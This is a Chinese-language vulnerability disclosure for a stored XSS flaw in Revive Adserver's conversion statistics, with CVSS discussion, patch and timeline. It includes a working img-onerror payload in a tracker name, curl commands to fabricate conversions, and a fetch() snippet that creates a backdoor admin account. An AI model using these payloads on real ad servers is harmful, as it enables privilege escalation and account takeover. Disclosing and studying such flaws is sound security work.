利用跟踪器名称在Revive Adserver转化统计中实现存储型XSS攻击
漏洞概述
在Revive Adserver中发现一处存储型跨站脚本(Stored XSS)漏洞。低权限的广告商账户可通过在跟踪器名称中注入恶意JavaScript代码,当管理员查看转化统计报告时,该代码将在管理员的浏览器上下文中执行,从而实现权限提升。
受影响的系统
- 产品: Revive Adserver
- 测试版本: 6.0.1
- 组件: 统计/转化报告
- 文件:
www/admin/stats-conversions.php:356 - URL:
http://[host]/www/admin/stats.php?entity=conversions&clientid=[id]
漏洞代码
|
|
问题分析
- 输出未转义: 跟踪器名称直接输出,未使用
htmlspecialchars()进行转义 - 数据来源: 数据来自广告商控制的输入(跟踪器创建表单)
- 缺乏输入验证: 存储时未对HTML标签进行剥离
- 管理员受影响: 查看转化报告的管理员将在其浏览器上下文中执行有效载荷
复现步骤
前提条件
- 广告商账户(低权限)
- 管理员账户(用于测试影响)
操作步骤
-
以广告商身份登录并创建恶意跟踪器:
- 导航至:库存 → 广告商 → 点击您的广告商名称(例如"测试广告商")→ 跟踪器选项卡
- 点击"添加新跟踪器"
- 设置跟踪器名称为:
1<img src=x onerror="alert('XSS: ' + document.cookie)"> - 设置跟踪器类型为"销售",状态为"活动"
- 点击"保存更改"
-
创建转化记录(通过正常跟踪或数据库):
1 2 3 4 5-- 将转化关联到恶意跟踪器 INSERT INTO rv_data_intermediate_ad_connection ( tracker_id, ad_id, inside_window, tracker_date_time, connection_date_time, connection_action, connection_status, updated ) VALUES (1, 1, 1, NOW(), NOW(), 1, 4, NOW()); -
以管理员身份登录并导航至:
1http://[host]/www/admin/stats.php?entity=conversions&clientid=1 -
结果: JavaScript警报立即触发,显示会话cookie信息
补充发现
- 第357-358行同样缺乏对
campaignid和campaignname的htmlspecialchars()处理 - 广告商控制的广告活动名称同样存在此漏洞
- 其他
stats-*.php文件可能存在类似问题
攻击复杂度与范围
开发团队最初评估:
- 复杂度:高(因为需要数据库中存在转化记录,这超出了攻击者的控制)
- 范围:不变(因为攻击者无法访问其他系统)
- 机密性:低(无法窃取会话ID)
- 完整性:无
安全研究员反驳:
- 复杂度低: 攻击者可以使用curl自行生成转化,无需第三方cookie或真实广告展示
1 2curl -c cookies.txt "http://ads.example.com/www/delivery/afr.php?zoneid=1&cb=$(date +%s)" curl -b cookies.txt "http://ads.example.com/www/delivery/ti.php?trackerid=<my_tracker_id>&cb=$(date +%s)" - 会话骑乘攻击可行: 即使设置了HttpOnly标志,攻击仍可通过以下方式进行:
1 2 3 4 5 6fetch('/www/admin/account-user-edit.php', { method: 'POST', credentials: 'include', // 浏览器自动发送HttpOnly cookie headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'username=backdoor&password=evil&isAdmin=1&csrf=' + getCsrfToken() });
实际影响
即使有HttpOnly保护,攻击者仍能:
- 数据泄露:读取转化收入数据、查看所有广告活动名称、访问跟踪器元数据、导出用户列表
- 管理员操作:创建管理员账户、修改广告活动设置、更改区域分配、访问所有广告商数据
- 完全系统控制:攻击者可执行任何管理员操作
CVSS评分调整过程
- 初始评分:2.6(低)
- 研究员反驳后:7.3(高)
- 最终评分:8.7(高)
最终评分理由:
- 攻击向量:网络
- 攻击复杂度:低
- 所需权限:低
- 用户交互:需要
- 范围:已改变(从广告商权限提升至管理员权限)
- 机密性影响:高
- 完整性影响:高
- 可用性影响:无
修复方案
开发团队提供了补丁文件h1-3400506.patch,修复了漏洞。主要修复措施包括对输出进行适当的HTML转义处理。
时间线
- 2025年10月26日:漏洞报告提交
- 2025年10月27日:状态更改为"已处理"
- 2025年10月28日:漏洞状态更改为"已解决",补丁发布
- 2025年11月4日:分配CVE ID:CVE-2025-52668
- 2025年11月19日:报告公开披露
结论
此存储型XSS漏洞虽然最初被低估,但经过详细的技术分析,证明其具有严重的安全影响。即使有HttpOnly保护,攻击者仍能通过会话骑乘技术实现权限提升和系统控制。这强调了在Web应用程序中实施深度防御的重要性,包括输入验证、输出编码和内容安全策略。